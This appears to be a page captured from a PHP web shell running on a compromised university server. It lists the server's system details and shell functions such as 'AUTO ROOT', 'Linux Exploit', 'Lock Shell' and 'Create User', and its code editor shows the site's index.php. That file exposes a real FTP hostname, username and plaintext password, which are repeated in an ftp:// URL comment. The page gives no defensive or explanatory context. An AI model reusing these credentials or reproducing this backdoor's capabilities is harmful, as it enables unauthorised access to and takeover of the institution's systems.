Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
htdocs /
recibos res /
ftp /
[ HOME SHELL ]
Name
Size
Permission
Action
index.php
888
B
-rwxrwxr-x
x.php
1
B
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.php
<?php function ftp($recibo){ // FTP server details $ftpHost = 'www.utparral.edu.mx'; $ftpUsername = 'webmaster'; $ftpPassword = 'Webamaster2017'; // open an FTP connection $connId = ftp_connect($ftpHost) or die("Couldn't connect to $ftpHost"); // login to FTP server $ftpLogin = ftp_login($connId, $ftpUsername, $ftpPassword); // local & server file path $localFilePath = '../recibos/recibos/'.$recibo; $remoteFilePath = '/var/www/html/recibos/recibos/'.$recibo; // try to upload file if(ftp_put($connId, $remoteFilePath, $localFilePath, FTP_BINARY)){ echo "Se subio el recibo de nómina de: - $localFilePath"; }else{ echo "Error no se pueden subir los rcibos en este momento intente más tarde $localFilePath"; } // close the connection ftp_close($connId); } ?> <!--ftp://webmaster:Webamaster2017@www.utparral.edu.mx/-->
Close